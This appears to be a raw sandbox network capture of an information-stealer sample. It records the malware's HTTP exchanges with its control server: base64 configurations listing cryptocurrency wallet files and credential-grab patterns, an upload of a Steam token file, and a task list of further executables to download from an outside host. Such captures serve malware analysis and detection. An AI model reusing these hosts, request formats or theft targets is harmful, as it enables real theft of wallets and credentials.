Sep 30, 2024 12:22:35.582509995 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:35 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 30, 2024 12:22:37.445295095 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: urusvisa.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:38.227545977 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:38.464581013 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="mode"3------BFCAAEHJDBKJJKFHJEBK--
Sep 30, 2024 12:22:38.993654013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Sep 30, 2024 12:22:39.000332117 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="mode"4------IDHIEBAAKJDHIECAAFHC--
Sep 30, 2024 12:22:39.560976028 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Sep 30, 2024 12:22:39.583026886 CEST	640	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: urusvisa.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_data"kyC7lg==------AFHDGDGIIDGCFIDHDHDH--
Sep 30, 2024 12:22:40.116585970 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:40.207940102 CEST	182	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: urusvisa.com Content-Length: 129997 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:41.425857067 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:41.430103064 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="mode"5------AAKKECFBGIIIEBGDGDAK--
Sep 30, 2024 12:22:42.089972973 CEST	459	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 63 0d 0a 4d 54 49 31 4d 6a 6b 32 4d 58 78 6f 64 48 52 77 4f 69 38 76 5a 6d 6c 73 5a 58 4d 75 64 6d 56 79 61 58 52 68 63 79 35 76 63 6d 63 75 62 6d 63 76 62 47 52 74 63 79 38 32 4e 6d 5a 68 4d 6d 49 77 4e 44 6b 77 4d 6a 42 6d 58 32 78 6b 62 6d 59 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 6a 55 79 4f 54 59 79 66 47 68 30 64 48 41 36 4c 79 39 6d 61 57 78 6c 63 79 35 32 5a 58 4a 70 64 47 46 7a 4c 6d 39 79 5a 79 35 75 5a 79 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 45 79 59 57 5a 6a 4e 57 46 69 5a 57 46 66 64 6d 46 7a 5a 43 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 44 45 79 4e 54 49 35 4e 6a 4e 38 61 48 52 30 63 44 6f 76 4c 32 5a 70 62 47 56 7a 4c 6e 5a 6c 63 6d 6c 30 59 58 4d 75 62 33 4a 6e 4c 6d 35 6e 4c 32 78 6b 62 58 4d 76 4e 6a 5a 6d 59 54 4a 68 5a 54 6b 77 4e 6a 59 31 4e 31 39 7a 62 6d 51 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 11cMTI1Mjk2MXxodHRwOi8vZmlsZXMudmVyaXRhcy5vcmcubmcvbGRtcy82NmZhMmIwNDkwMjBmX2xkbmYuZXhlfDF8a2tra3wxMjUyOTYyfGh0dHA6Ly9maWxlcy52ZXJpdGFzLm9yZy5uZy9sZG1zLzY2ZmEyYWZjNWFiZWFfdmFzZC5leGV8MXxra2trfDEyNTI5NjN8aHR0cDovL2ZpbGVzLnZlcml0YXMub3JnLm5nL2xkbXMvNjZmYTJhZTkwNjY1N19zbmQuZXhlfDF8a2tra3w=0
Sep 30, 2024 12:22:45.038028002 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="mode"51------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="task_id"1252961------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="status"1------IJKKKFCFHCFIECBGDHID--
Sep 30, 2024 12:22:45.799463034 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:46.360361099 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="mode"51------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="task_id"1252962------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="status"1------CGDHIEGCFHCGDGCAECBG--
Sep 30, 2024 12:22:47.170372963 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:47.891531944 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="mode"51------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="task_id"1252963------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="status"1------HCAEGCBFHJDGCBFHDAFB--
